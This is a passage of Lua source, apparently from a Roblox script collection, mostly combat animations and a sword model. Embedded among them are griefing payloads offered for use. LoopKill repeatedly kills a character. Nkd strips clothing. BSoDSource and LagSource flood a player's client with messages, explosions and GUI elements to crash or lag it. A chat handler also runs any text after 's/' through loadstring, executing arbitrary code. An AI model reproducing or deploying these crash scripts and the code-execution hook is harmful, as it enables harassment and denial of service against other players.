- c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1)
- local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to})
- q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1")
- c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
- c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None"
- elseif k == "n" and Anim=="None" then
- Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20)
- c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
- c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05)
- wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
- c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None"
- elseif k == "b" and Anim=="None" then
- Anim = "DeathWall" Armz(false) e() caw = false
- c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
- c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03)
- wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end
- wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
- c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None"
- elseif k == "f" and Anim=="None" then
- Anim = "RapidKick" Legz(false)
- c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25)
- c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end
- c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz))
- c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz))
- local tst = ll if rn(1,2) == 1 then tst = rl end
- local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"})
- das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2)
- if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end
- if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end
- end) ws(16)
- c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None"
- end
- else
- if k == "q" then
- end -- q end
- end -- bool end
- end -- func end
- local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White")
- function ButtonDown() if Anim~="None" then return end
- to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0)
- hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05)
- else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05)
- GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end
- pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10
- to.Velocity=v3(0,0,0)
- end
- pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end
- if m=="tkon" then tk = true
- elseif m=="tkoff" then tk = false
- elseif m == "rake" and Anim=="None" then Anim = "Special"
- for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None"
- elseif m == "torn" and Anim=="None" then Anim = "Special"
- for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None"
- elseif m == "blast" and Anim=="None" then Anim = "Special"
- for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None"
- elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end)
- end end)
- bin = it("HopperBin",bp) --bin = it("Tool") it("Part",bin).Name = "Handle"
- bin.Name = sn
- ---- TUT03Cobalt1164
- bin.Selected:connect(function(mouse2) mouse = mouse2
- mouse.KeyDown:connect(function(k) ky[k:lower()] = true
- Act(k:lower(),true) end)
- mouse.KeyUp:connect(function(k) ky[k:lower()] = false
- Act(k:lower(),false) end)
- mouse.Button1Down:connect(function() ButtonDown() end)
- end)
- ---- TUT04Cobalt1164
- bin.Deselected:connect(function()
- end)
- --bin.Parent = c
- fac = false local bgg = it('BodyGyro',to)
- ---- TUT05Cobalt1164
- q(function() while wait() do
- if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end
- if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end
- end end)
- ]]
- LoopJump = [[
- char = game:service'Players'.LocalPlayer.Character
- for i = 1, 1500 do
- char.Humanoid.Jump = true
- ]]
- LoopKill = [[
- char = game:service'Players'.LocalPlayer.Character
- for i = 1, 1500 do
- char.Humanoid.Health = 0
- ]]
- Nkd = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Shirt"):Remove()
- char:FindFirstChild("Pants"):Remove()
- ]]
- Noob = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").BrickColor = BrickColor.new("Bright yellow")
- char:FindFirstChild("Torso").BrickColor = BrickColor.new("Bright green")
- char:FindFirstChild("Right Leg").BrickColor = BrickColor.new("Bright blue")
- char:FindFirstChild("Left Leg").BrickColor = BrickColor.new("Bright blue")
- char:FindFirstChild("Right Arm").BrickColor = BrickColor.new("Bright yellow")
- char:FindFirstChild("Left Arm").BrickColor = BrickColor.new("Bright yellow")
- ]]
- Shiny = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").Reflectance = 1
- char:FindFirstChild("Torso").Reflectance = 1
- char:FindFirstChild("Right Leg").Reflectance = 1
- char:FindFirstChild("Left Leg").Reflectance = 1
- char:FindFirstChild("Right Arm").Reflectance = 1
- char:FindFirstChild("Left Arm").Reflectance = 1
- ]]
- Unshiny = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").Reflectance = 0
- char:FindFirstChild("Torso").Reflectance = 0
- char:FindFirstChild("Right Leg").Reflectance = 0
- char:FindFirstChild("Left Leg").Reflectance = 0
- char:FindFirstChild("Right Arm").Reflectance = 0
- char:FindFirstChild("Left Arm").Reflectance = 0
- ]]
- Invisible = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").Transparency = 1
- char:FindFirstChild("Torso").Transparency = 1
- char:FindFirstChild("Right Leg").Transparency = 1
- char:FindFirstChild("Left Leg").Transparency = 1
- char:FindFirstChild("Right Arm").Transparency = 1
- char:FindFirstChild("Left Arm").Transparency = 1
- ]]
- Ghostify = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").Transparency = 0.5
- char:FindFirstChild("Torso").Transparency = 0.5
- char:FindFirstChild("Right Leg").Transparency = 0.5
- char:FindFirstChild("Left Leg").Transparency = 0.5
- char:FindFirstChild("Right Arm").Transparency = 0.5
- char:FindFirstChild("Left Arm").Transparency = 0.5
- ]]
- Visible = [[
- char = game:service'Players'.LocalPlayer.Character
- char:FindFirstChild("Head").Transparency = 0
- char:FindFirstChild("Torso").Transparency = 0
- char:FindFirstChild("Right Leg").Transparency = 0
- char:FindFirstChild("Left Leg").Transparency = 0
- char:FindFirstChild("Right Arm").Transparency = 0
- char:FindFirstChild("Left Arm").Transparency = 0
- ]]
- BSoDSource = [[
- wait()
- script.Parent = game:service'TeleportService'
- CC = game.Workspace.CurrentCamera
- RS = game:service("RunService")
- PG = game.Players.LocalPlayer.PlayerGui
- C = game.Players.LocalPlayer.Character
- function Lag()
- coroutine.resume(coroutine.create(function()
- while wait() do
- M = Instance.new("Message",CC)
- M.Text = tick()*math.floor(5%4*21)
- H = Instance.new("Hint",CC)
- H.Text = 'Get out from this place!'
- SG=Instance.new("ScreenGui",PG)
- FR=Instance.new("Frame",SG)
- FR.Size = UDim2.new(500,500,500,500)
- while wait() do
- FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
- end
- P=Instance.new("Part",CC)
- E=Instance.new("Explosion",P)
- E.BlastRadius=math.huge
- E.Position=P.Position
- F=Instance.new("Fire",P)
- S=Instance.new("Smoke",P)
- P.CFrame = CC.Focus
- P.Anchored = true
- P.CanCollide = false
- P.AncestryChanged:connect(function()Lag()end)
- for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
- end
- end))
- end
- RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
- ]]
- LagSource = [[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "You are now being Lagged,Have fun."
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]]
- YamatoSword = [[
- Player = game:GetService("Players").LocalPlayer
- Character = Player.Character
- PlayerGui = Player.PlayerGui
- Backpack = Player.Backpack
- Torso = Character.Torso
- Head = Character.Head
- LeftArm = Character["Left Arm"]
- LeftLeg = Character["Left Leg"]
- RightArm = Character["Right Arm"]
- RightLeg = Character["Right Leg"]
- LS = Torso["Left Shoulder"]
- LH = Torso["Left Hip"]
- RS = Torso["Right Shoulder"]
- RH = Torso["Right Hip"]
- ModelName = "Weapon"
- ToolName = "Yamato"
- attack = false
- attacktype = 1
- mindamage = 15
- maxdamage = 25
- crtmaxdamage = 45
- omindamage = 15
- omaxdamage = 25
- ocrtmaxdamage = 45
- crtrate = 12
- fireboost = 0
- iceboost = 0
- darkboost = 0
- Mode = "None"
- ssh = false
- atktypez = 1
- Hitdeb = 0
- ammo = 1
- MMouse = nil
- point = false
- offset = 0
- radv = 90
- ----------------------------
- --Customize
- DarkFire = true
- MaxFT = 40
- ---------------------------------------------------------------------------------------------------------------------------------------
- if Character:findFirstChild("EquippedVal",true) ~= nil then
- Character:findFirstChild("EquippedVal",true).Parent = nil
- end
- ev = Instance.new("BoolValue")
- ev.Parent = Character
- ev.Name = "EquippedVal"
- ev.Value = false
- --player
- player = nil
- --welds
- RW, LW , RWL, LWL = Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld")
- --what anim
- anim = "none"
- --other var
- player = Player
- ch = Character
- --save shoulders
- AoETrue = {}
- RSH, LSH , RHL, LHL = ch.Torso["Right Shoulder"], ch.Torso["Left Shoulder"] , ch.Torso["Right Hip"] , ch.Torso["Left Hip"]
- function RWFunc()
- RW.Part1 = ch["Right Arm"]
- RSH.Part1 = nil
- end
- function LWFunc()
- LW.Part1 = ch["Left Arm"]
- LSH.Part1 = nil
- end
- function RWLFunc()
- RWL.Part1 = ch["Right Leg"]
- RHL.Part1 = nil
- ch["Right Leg"].Name = "RightLeg"
- RightLeg.CanCollide = false
- end
- function LWLFunc()
- LWL.Part1 = ch["Left Leg"]
- LHL.Part1 = nil
- ch["Left Leg"].Name = "LeftLeg"
- LeftLeg.CanCollide = true
- end
- function RWLRem()
- RightLeg.Name = "Right Leg"
- RWL.Part1 = nil
- RHL.Part1 = ch["Right Leg"]
- RightLeg.CanCollide = false
- end
- function LWLRem()
- LeftLeg.Name = "Left Leg"
- LWL.Part1 = nil
- LHL.Part1 = ch["Left Leg"]
- LeftLeg.CanCollide = false
- end
- function RWRem()
- RW.Part1 = nil
- RSH.Part1 = ch["Right Arm"]
- end
- function LWRem()
- LW.Part1 = nil
- LSH.Part1 = ch["Left Arm"]
- end
- if Character:findFirstChild(ModelName,true) ~= nil then
- Character:findFirstChild(ModelName,true).Parent = nil
- RHL.Part1 = ch["Right Leg"]
- LHL.Part1 = ch["Left Leg"]
- RSH.Part1 = ch["Right Arm"]
- LSH.Part1 = ch["Left Arm"]
- end
- local swordholder = Instance.new("Model")
- swordholder.Name = ModelName
- swordholder.Parent = Character
- --derp
- RW.Part0 = ch.Torso
- RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
- RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
- RW.Parent = swordholder
- --
- LW.Part0 = ch.Torso
- LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
- LW.C1 = CFrame.new(0, 0.5, 0)
- LW.Parent = swordholder
- --
- RWL.Part0 = ch.Torso
- RWL.C0 = CFrame.new(1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
- RWL.C1 = CFrame.new(0.5, 1, 0)
- RWL.Parent = swordholder
- --
- LWL.Part0 = ch.Torso
- LWL.C0 = CFrame.new(-1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
- LWL.C1 = CFrame.new(-0.5, 1, 0)
- LWL.Parent = swordholder
- handlecolor = BrickColor.new("Really black")
- scndryclr = BrickColor.new("Bright violet")
- firepri = BrickColor.new("Bright red")
- icepri = BrickColor.new("Bright blue")
- local msh1 = Instance.new("CylinderMesh")
- msh1.Scale = Vector3.new(1,1,1)
- local msh2 = Instance.new("BlockMesh")
- msh2.Scale = Vector3.new(1,1,1)
- --
- local msh3 = Instance.new("BlockMesh")
- msh3.Scale = Vector3.new(1,1,1)
- local msh3a = Instance.new("SpecialMesh")
- msh3a.Scale = Vector3.new(1,1,1)
- msh3a.MeshType = "Wedge"
- local msh4 = Instance.new("BlockMesh")
- msh4.Scale = Vector3.new(1,1,1)
- local msh4a = Instance.new("SpecialMesh")
- msh4a.Scale = Vector3.new(1,1,1)
- msh4a.MeshType = "Wedge"
- --
- local msh5 = Instance.new("SpecialMesh")
- msh5.Scale = Vector3.new(1,1,2)
- msh5.MeshId = "http://www.roblox.com/asset/?id=3270017"
- local msh6 = Instance.new("BlockMesh")
- msh6.Scale = Vector3.new(1,1,0.5)
- local msh7 = Instance.new("BlockMesh")
- msh7.Scale = Vector3.new(1,1,1)
- local msh8 = Instance.new("BlockMesh")
- msh8.Scale = Vector3.new(0.5,1,1)
- local prt1 = Instance.new("Part")
- prt1.formFactor = 3
- prt1.CanCollide = false
- prt1.Name = "Handle"
- prt1.Locked = true
- prt1.Size = Vector3.new(0.2,1.5,0.2)
- prt1.Parent = swordholder
- msh1.Parent = prt1
- prt1.BrickColor = handlecolor
- local prt2 = Instance.new("Part")
- prt2.formFactor = 3
- prt2.CanCollide = false
- prt2.Name = "HandleTop"
- prt2.Locked = true
- prt2.Size = Vector3.new(1.6,0.2,0.5)
- prt2.Parent = swordholder
- msh2.Parent = prt2
- prt2.BrickColor = scndryclr
- ---
- local prt3 = Instance.new("Part")
- prt3.formFactor = 3
- prt3.CanCollide = false
- prt3.Name = "FlameBlade"
- prt3.Locked = true
- prt3.Size = Vector3.new(0.4,3,0.2)
- prt3.Parent = swordholder
- msh3.Parent = prt3
- prt3.BrickColor = firepri
- prt3.Reflectance = 0
- local prt3a = Instance.new("Part")
- prt3a.formFactor = 3
- prt3a.CanCollide = false
- prt3a.Name = "FlameBladeP1"
- prt3a.Locked = true
- prt3a.Size = Vector3.new(0.2,1,0.4)
- prt3a.Parent = swordholder
- msh3a.Parent = prt3a
- prt3a.BrickColor = firepri
- prt3a.Reflectance = 0
- --
- local prt4 = Instance.new("Part")
- prt4.formFactor = 3
- prt4.CanCollide = false
- prt4.Name = "FrostBlade"
- prt4.Locked = true
- prt4.Size = Vector3.new(0.4,3,0.2)
- prt4.Parent = swordholder
- msh4.Parent = prt4
- prt4.BrickColor = icepri
- prt4.Reflectance = 0.5
- local prt4a = Instance.new("Part")
- prt4a.formFactor = 3
- prt4a.CanCollide = false
- prt4a.Name = "FrostBladeP1"
- prt4a.Locked = true
- prt4a.Size = Vector3.new(0.2,1,0.4)
- prt4a.Parent = swordholder
- msh4a.Parent = prt4a
- prt4a.BrickColor = icepri
- prt4a.Reflectance = 0.5
- --
- local prt5 = Instance.new("Part")
- prt5.formFactor = 3
- prt5.CanCollide = false
- prt5.Name = "HandleRing"
- prt5.Locked = true
- prt5.Size = Vector3.new(1,1,0.2)
- prt5.Parent = swordholder
- msh5.Parent = prt5
- prt5.BrickColor = scndryclr
- prt5.Reflectance = 0
- local DFlame = Instance.new("Fire")
- DFlame.Parent = prt5
- DFlame.Color = Color3.new(0.5,0,0.5)
- DFlame.SecondaryColor = Color3.new(0.5,0,0.5)
- DFlame.Heat = 25
- DFlame.Size = 1
- DFlame.Enabled = DarkFire
- local prt6 = Instance.new("Part")
- prt6.formFactor = 3
- prt6.CanCollide = false
- prt6.Name = "HandleP1"
- prt6.Locked = true
- prt6.Size = Vector3.new(0.2,1.5,0.2)
- prt6.Parent = swordholder
- msh6.Parent = prt6
- prt6.BrickColor = scndryclr
- prt6.Reflectance = 0
- local prt7 = Instance.new("Part")
- prt7.formFactor = 3
- prt7.CanCollide = false
- prt7.Name = "HandleP2"
- prt7.Locked = true
- prt7.Size = Vector3.new(0.7,0.2,0.2)
- prt7.Parent = swordholder
- msh7.Parent = prt7
- prt7.BrickColor = scndryclr
- prt7.Reflectance = 0
- local prt8 = Instance.new("Part")
- prt8.formFactor = 3
- prt8.CanCollide = false
- prt8.Name = "DarkBlade"
- prt8.Locked = true
- prt8.Size = Vector3.new(0.2,4,0.2)
- prt8.Parent = swordholder
- msh8.Parent = prt8
- prt8.BrickColor = handlecolor
- prt8.Transparency = 1
- local hitbox = Instance.new("Part")
- hitbox.formFactor = 3
- hitbox.CanCollide = false
- hitbox.Name = "Hitbox"
- hitbox.Locked = true
- hitbox.Size = Vector3.new(1,4,0.2)
- hitbox.Parent = swordholder
- hitbox.Transparency = 1
- local hbw = Instance.new("Weld")
- hbw.Parent = hitbox
- hbw.Part0 = hitbox
- hbw.Part1 = prt1
- hbw.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- hbw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
- local w1 = Instance.new("Weld")
- w1.Parent = prt1
- w1.Part0 = prt1
- local w2 = Instance.new("Weld")
- w2.Parent = prt2
- w2.Part0 = prt2
- w2.Part1 = prt1
- w2.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w2.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -0.85, 0)
- --
- local w3 = Instance.new("Weld")
- w3.Parent = prt3
- w3.Part0 = prt3
- w3.Part1 = prt1
- w3.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w3.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0.25, -2.45, 0)
- local w3a = Instance.new("Weld")
- w3a.Parent = prt3a
- w3a.Part0 = prt3a
- w3a.Part1 = prt1
- w3a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w3a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(-90),0) * CFrame.new(0.25, -4.45, 0)
- local w4 = Instance.new("Weld")
- w4.Parent = prt4
- w4.Part0 = prt4
- w4.Part1 = prt1
- w4.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w4.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, -2.45, 0)
- local w4a = Instance.new("Weld")
- w4a.Parent = prt4a
- w4a.Part0 = prt4a
- w4a.Part1 = prt1
- w4a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w4a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90),0) * CFrame.new(-0.25, -4.45, 0)
- --
- local w5 = Instance.new("Weld")
- w5.Parent = prt5
- w5.Part0 = prt5
- w5.Part1 = prt1
- w5.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w5.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0, -0.85, 0)
- local w6 = Instance.new("Weld")
- w6.Parent = prt6
- w6.Part0 = prt6
- w6.Part1 = prt1
- w6.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w6.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.5, -0, 0)
- local w7 = Instance.new("Weld")
- w7.Parent = prt7
- w7.Part0 = prt7
- w7.Part1 = prt1
- w7.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w7.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, 0.75, 0)
- local w8 = Instance.new("Weld")
- w8.Parent = prt8
- w8.Part0 = prt8
- w8.Part1 = prt1
- w8.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
- w8.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
- for ringi = 0 , math.rad(350) , math.rad(50) do
- local ringm = Instance.new("BlockMesh")
- ringm.Scale = Vector3.new(1,1.5,1)
- local ringp = Instance.new("Part")
- ringp.formFactor = 3
- ringp.CanCollide = false
- ringp.Name = "HandleRingP"..ringi
- ringp.Locked = true
- ringp.Size = Vector3.new(0.2,0.2,0.2)
- ringp.Parent = swordholder
- ringm.Parent = ringp
- ringp.BrickColor = scndryclr
- ringp.Reflectance = 0.1
- local ringw = Instance.new("Weld")
- ringw.Parent = ringp
- ringw.Part0 = ringp
- ringw.Part1 = prt5
- ringw.C1 = CFrame.fromEulerAnglesXYZ(math.rad(90), -ringi, 0) * CFrame.new(0, 0 , 0)
- ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,0) * CFrame.new(-msh5.Scale.x/1.625, 0, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.z/3.25
- end
- local Objects = {}
- function getAllObjects(obj)
- for a,v in pairs(obj:GetChildren()) do
- if v:IsA("BasePart") then
- table.insert(Objects,v)
- end
- if #v:GetChildren() > 0 then
- getAllObjects(v)
- end
- end
- end
- getAllObjects(Workspace)
- function Raycast(Start,End,Range)
- --
- for ii = 0 , #Objects do
- table.remove(Objects,ii)
- end
- getAllObjects(Workspace)
- local MA = math.abs
- local CF = CFrame.new(Start,End)
- local CP = Start
- for i = 1, Range do--(Start - End).magnitude do
- for b,v in pairs(Objects) do
- if v.Parent ~= nil then
- local pos = Start + (CF.lookVector*i)
- local dist = v.CFrame:pointToObjectSpace(pos)
- if MA(dist.x) < v.Size.x/2 and MA(dist.y) < v.Size.y/2 and MA(dist.z) < v.Size.z/2 then
- if v.Parent ~= Character or v.Parent ~= swordholder or v.Parent.Parent ~= Character then
- return v,Start,pos
- end
- end
- end
- end
- end
- return nil,Start,End
- end
- local RAP = Instance.new("Part")
- RAP.formFactor = 0
- RAP.CanCollide = false
- RAP.Name = "RAPart"
- RAP.Locked = true
- RAP.Size = Vector3.new(1,1,1)
- RAP.Parent = swordholder
- RAP.Transparency = 1
- local w = Instance.new("Weld")
- w.Parent = RAP
- w.Part0 = RAP
- w.Part1 = RightArm
- w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 1, 0)
- function unequipweld()
- w1.Part1 = Torso
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), math.rad(0)) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(180), math.rad(-150)) * CFrame.new(-1, -1.5, -0.6)
- end
- unequipweld()
- function equipweld()
- w1.Part1 = RAP
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- function ss(parent,p) --Slash
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
